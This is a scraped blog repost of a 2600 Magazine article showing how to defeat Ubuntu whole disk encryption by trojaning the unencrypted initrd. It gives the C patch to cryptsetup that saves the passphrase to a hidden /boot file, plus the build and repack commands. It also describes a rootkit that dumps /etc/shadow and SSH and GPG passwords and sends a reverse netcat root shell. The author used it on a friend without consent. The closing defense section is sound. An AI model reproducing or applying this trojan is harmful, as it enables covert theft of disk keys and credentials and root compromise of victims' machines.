LATEST

Pwning Past Whole Disk Encryption (https://twopointfouristan.wordpress.com/2011/04/17/pwning-past-whole-disk-encryption/)

Published in Winter 2009-2010 (26:4) Issue of 2600 Magazine

0x00 Introduction

When I first started using whole disk encryption in Ubuntu a couple of years ago, I slept better at night. I knew that even if the feds busted into my room while I was out and did whatever they wanted with my hard drive without me knowing, my secrets were still secret. Turns out I was wrong.

I'm going to explain how to steal the disk encryption passphrase and run arbitrary code as root on a computer running Ubuntu with whole disk encryption. I tried this on a friend of mine and managed to steal his disk encryption passphrase, the contents of his passwd and shadow files, SSH credentials for a couple of different servers, and his GnuPG secret key and passphrase. I also got reverse root shells sent to me at regular intervals. I finished up by putting a document on his desktop, digitally signed with his own PGP key, containing his disk encryption passphrase and a link to a defaced page on his web server. All it took was about 10 minutes of physical access while his computer was turned off (and of course, countless hours developing this attack beforehand). I have since apologized to him, and he has still been unsuccessful at pwning me back.

This same technique will work for any Linux distribution that uses dm-crypt for whole disk encryption, which is included by default in Ubuntu, Debian, Fedora Core, and likely others. I'm only focusing on Ubuntu because it's popular, and that happens to be what my friend was using.

0x10 In a Nutshell

Your whole hard drive is encrypted, so your information is safe from physical attacks, right? Well, no, and the reason is because with most disk encryption solutions, your whole hard drive isn't actually encrypted, just most of it. Your processor can't execute encrypted instructions; those need to be decrypted before they get executed. So by default, there must be a program that isn't encrypted whose purpose is to decrypt the rest of the hard drive. Then the operating system can load and the encrypted data can be accessed.

Since this program is not encrypted, if an attacker has physical access to the computer, she can replace this program with something that does the same thing, only also does some other evll things as well. This can be done by booting to a live CD to access the hard drive or, in case of a BIOS password, just removing the hard drive (which is what I had to resort to). In most Linux implementations of whole disk encryption, the small boot partition remains unencrypted, and everything else is encrypted. This attack works by modifying files in the boot partition to do our evil deeds.

Also, we're using a computer for this attack, which means we can write programs to automate it. It becomes as easy as: pop in a live CD, boot up, run a script, shut down, remove CD, and the victim is pwned, despite disk encryption.

In Windows, disk encryption using both PGP Desktop and TrueCrypt must work the same way, by installing a small unencrypted program that's used to decrypt the rest of the drive. So, theoretically, these two disk encryption solutions must be vulnerable to this same attack.

0x20 The Vulnerable initrd.img

In Ubuntu, the boot partition holds two files necessary to boot into your operating system: vmlinuz and initrd.img. They have the kernel version appended to the end of their filenames. You can tell the exact names by looking at your grub menu file /boot/grub/menu.1st. This is from mine:

```
title Ubuntu 8.04.1, kernel 2.6.24-21-generic
root: (hd0,0)
kernel /vmlinuz-2.6.24-21-generic root=/dev/mapper/ubuntu-root ro quiet splash
initrd /initrd.img-2.6.24-21-generic
```

The vmlinuz file is the compressed Linux kernel that you need when booting up. The initrd.img file is a compressed initial ramdisk made up of a little filesystem full of files required to boot the rest of the way into Linux. It's only necessary to have an initrd.img file when you need to do some special things before you boot all the way into the OS, like load extra kernel modules and unlock the encrypted hard drive. If you have multiple Linux kernels installed, you'll have multiple vmlinuz and initrd.img files in your boot partition.

So how does this all work? You turn on your computer and boot to your hard drive. Grub loads menu.1st and autoselects the first option for you, and an Ubuntu logo pops up and your system starts booting. Your initrd.img file gets decompressed in memory. It's essentially a filesystem with lots of common commands, including the /bin/sh shell. It has an executable script called /init, which executes everything needed to unlock and mount your encrypted partitions. The /init script gets run, and it in turn runs the program /sbin/cryptsetup, which asks for your passphrase. Once you type in the correct passphrase crypsetup unlocks the encrypted section of your hard drive, and then the /init script mounts all the partitions, and does other startup stuff. Once this is complete, the initrd.img filesystem closes and the OS starts to load the rest of the way.

Follow (javascript:void(0))

initrd.img files are compressed with cpio, and then compressed again with gzip. Here's an easy way to decompress your initrd file to see what's inside:

```
m0rebel@ubuntu:~$ cd /tmp
m0rebel@ubuntu:/tmp$ mkdir initrd
m0rebel@ubuntu:/tmp$ cd initrd/
m0rebel@ubuntu:/tmp/initrd$ cp /boot/initrd.img-2.6.24-21-generic ./initrd.img.cpio.gz
m0rebel@ubuntu:/tmp/initrd$ gunzip initrd.img.cpio.gz
m0rebel@ubuntu:/tmp/initrd$ cpio -i < initrd.img.cpio
m0rebel@ubuntu:/tmp/initrd$ rm initrd.img.cpio
m0rebel@ubuntu:/tmp/initrd$ ls
bin conf etc init lib modules sbin scripts usr var
m0rebel@ubuntu:/tmp/initrd$ ls -l sbin/cryptsetup
-rwxr-xr-x 1 m0rebel m0rebel 52416 2008-10-20 17:33 sbin/cryptsetup
m0rebel@ubuntu:/tmp/initrd$
```

To recompress initrd.img, do this:

```
m0rebel@ubuntu:/tmp/initrd$ find . | cpio --quiet --dereference -o -H newc | gzip > /tmp/poisoned-initrd.img
```

To tie it all together, these files are all stored in /boot/initrd.img on your unencrypted boot partition. An attacker with physical access to a victim's computer can either boot to a live CD, live USB device, or remove the hard drive and put it in another computer to modify these files.

0x30 Stealing the Crypto Passphrase

To steal the disk encryption passphrase, you need to replace the /sbin/cryptsetup binary in the initrd.img file with an evil one that does your bidding. Luckily, cryptsetup is open source. First, make sure you have all the right development tools and dependencies installed to compile cryptsetup, and the cryptsetup source code.

```
m0rebel@ubuntu:~$ sudo apt-get install build-essential
m0rebel@ubuntu:~$ sudo apt-get build-dep cryptsetup
m0rebel@ubuntu:~$ mkdir cryptsetup
m0rebel@ubuntu:~$ cd cryptsetup/
m0rebel@ubuntu:~/cryptsetup$ apt-get source cryptsetup
m0rebel@ubuntu:~/cryptsetup$ ls
cryptsetup-1.0.5 cryptsetup_1.0.5-2ubuntu12.diff.gz cryptsetup_1.0.5-2ubuntu12.dsc cryptsetup_1.0.5.orig.tar.gz
m0rebel@ubuntu:~/cryptsetup$
```

The directory cryptsetup-1.0.5 holds the actual source code. It took me a while, searching through the code looking for the "Enter LUKS passphrase:" prompt, before I found the correct file and line to add my evil code. It turns out that cryptsetup-1.0.5/lib/setup.c, around line 650, is the correct place. Right before line 650 is this if statement:

```
if((r = LUKS_open_any_key(options->device, password, passwordLen, &hdr, &mk, backend)) < 0) {
  set_error("No key available with this passphrase.\n");
  goto out1;
}
```

This basically means, "if the passphrase that was just entered doesn't work, give an error message and then jump to another part of the code." Right after that, add my evil code:

```
if((r = LUKS_open_any_key(options->device, password, passwordLen, &hdr, &mk, backend)) < 0) {
  set_error("No key available with this passphrase.\n");
  goto out1;
}
/* begin evil code */
else {
  system("/bin/mkdir /mntboot");
  system("/bin/mount -t ext3 /dev/sda1 /mntboot");
  FILE *fp = fopen("/mntboot/.cryptpass", "w");
  fprintf(fp, "%s\n", password);
  fclose(fp);
  system("/bin/umount /mntboot");
}
/* end evil code */
```

This basically says, "but if the passphrase does work, then create a new directory called /mntboot, mount the unencrypted boot partition to this new directory, create a new file called /mntboot/.cryptpass in this directory, write the encryption passphrase to it, close the file, and unmount the Follow (javascript:void(0)) the encryption passphrase in plaintext to a file called .cryptpass in the boot partition.

Follow

You can then save the file and compile it. After compiling it, I like to build a debian package, then extract it, to see all the files it creates in the right directory structure.

```
m0rebel@ubuntu:~/cryptsetup/cryptsetup-1.0.5$ ./configure
m0rebel@ubuntu:~/cryptsetup/cryptsetup-1.0.5$ make
m0rebel@ubuntu:~/cryptsetup/cryptsetup-1.0.5$ sudo dpkg-buildpackage
m0rebel@ubuntu:~/cryptsetup/cryptsetup-1.0.5$ cd ..
m0rebel@ubuntu:~/cryptsetup$ mkdir root
m0rebel@ubuntu:~/cryptsetup$ dpkg -x cryptsetup_1.0.5-2ubuntu12_i386.deb root/
m0rebel@ubuntu:~/cryptsetup$ ls -l root/sbin/
total 56 -rwxr-xr-x 1 m0rebel m0rebel 52632 2008-10-20 18:01 cryptsetup
m0rebel@ubuntu:~/cryptsetup$
```

And there you have it: an evil, trojaned cryptsetup binary. Now all you need to do is get a copy of the victim's initrd.img file from their unencrypted boot partition, extract it, copy root/sbin/cryptsetup to initrd/sbin/cryptsetup, copy root/initramfs-tools/scripts/* to initrd/scripts/, and then recompress the initrd.img file and replace it. The next time the victim boots up and enters their passphrase, a new file will be saved in plaintext in /boot/.cryptopass. Pretty cool, huh?

Most of the attack on my friend relied on this exact same technique, taking the source code from the Ubuntu repository for programs he uses all the time (cryptsetup, openssh, gnupg) and modifying them to be evil.

0x40 Did Someone Say Rootkit?

But it gets better. If you have access to the initrd.img file, you can not only put an evil cryptsetup binary in there, but you can also change around the init script to make it evil. This means that when the computer is booting up, after you steal the encryption passphrase, after cryptsetup unlocks the hard drive, and after the init script mount the encrypted partition, you can then write whatever you want to the root partition.

While pwning my good friend, I made cryptsetup write his encryption passphrase to the ramdisk, not the boot partition. I modifed the init script to then copy his encryption passphrase, a copy of the original, unpoisoned initrd.img file, and a couple of other evil binaries to his root partition. It then added some files to his /etc/init.d and /etc/rcX.d directories to make a couple things run on bootup. After the init script finished executing, and Ubuntu began loading the rest of the way, it ran my init scripts. Keep in mind, these startup scripts get run as root, which spells 0wned.

One of the startup scripts moved the unpoisoned initrd.img back into his boot partition (so this attack wouldn't happen every time he booted up, only once). It also wrote his encryption passphrase, /etc/passwd, and /etc/shadow to a dump file. It then deleted itself and the files that made it run on boot up. The evil ssh and gpg binaries also wrote passwords to this same dump file. The other startup script ran an evil Python script in the background. This script was an infinite loop that waited 15 minutes, sent me the contents of the dump file over the internet, then waited another 15 minutes and sent a reverse netcat root shell to me.

That's just how I did it. There are a million other ways to do it, and hackers much more talented than me in rootkit development probably know how to do the same thing, only a lot stealthier.

0x50 Self-Defense

This whole attack relies on modifying unencrypted files on your hard drive, so the defense is simply don't keep any unencrypted files on your hard drive. Carry them with you on a USB stick instead. This way, if an attacker gets physical access to your computer, all they can do is stare at the encrypted data scratching their heads. You have to make sure you keep a close watch on your USB stick, though. I keep it on my keyring, and never leave it lying around.

While installing Ubuntu, keep a USB stick plugged into your computer. When you get to the partitioner, do a manual partition. Make your USB stick hold /boot, and then make the rest a "physical volume for encryption". Inside there, make a "physical volume for LVM," and inside there put your root, swap, and any other partitions you might want. Install grub to the master boot record of your USB stick, not your internal hard drive.

If you don't want to reinstall your operating system, you can format your USB stick, copy /boot/* to it, and install grub to it. In order to install grub to it, you'll need to unmount /boot, remount it as your USB device, modify /etc/fstab, comment out the line that mounts /boot, and then run grub-install /dev/sdb (or wherever your USB stick is). You should then be able to boot from your USB stick.

An important thing to remember when doing this is that a lot of Ubuntu updates rewrite your initrd.img, most commonly kernel upgrades. Make sure your USB stick is plugged in and mounted as /boot when doing these updates. It's also a good idea to make regular backups of the files on this USB stick, and burn them to CDs or keep them on the internet. If you ever lose or break your USB stick, you'll need these backups to boot your computer.

One computer I tried setting this defense up on couldn't boot from USB devices. I solved this pretty simply by making a grub boot CD that chainloaded to my USB device. If you google "Making a GRUB bootable CD-ROM," you'll find instructions on how to do that. Here's what the menu.1st file on that CD looks like:

```
default 0
timeout 2
title Boot from USB (hd1)
root (hd1)
chainloader +1
```

I can now boot to this CD with my USB stick in, and the CD will then boot from the USB stick, which will then boot the closely wat Follow (javascript:void(0))
A little annoying maybe, but it works.

0x60 Conclusion

All this may seem a little paranoid, but ignoring this attack isn't worth it when you have real secrets to hide, or if you value your privacy. If you're worried about a competent attacker (and government agents occasionally have their competent moments), you might as well just not encrypt your hard drive. But that's stupid. Encrypt everything. It's important to freedom.

April 17, 2011 | Categories: Uncategorized (https://twopointfouristan.wordpress.com/category/uncategorized/) | 11 Comments (https://twopointfouristan.wordpress.com/2011/04/17/pwning-past-whole-disk-encryption/#comments)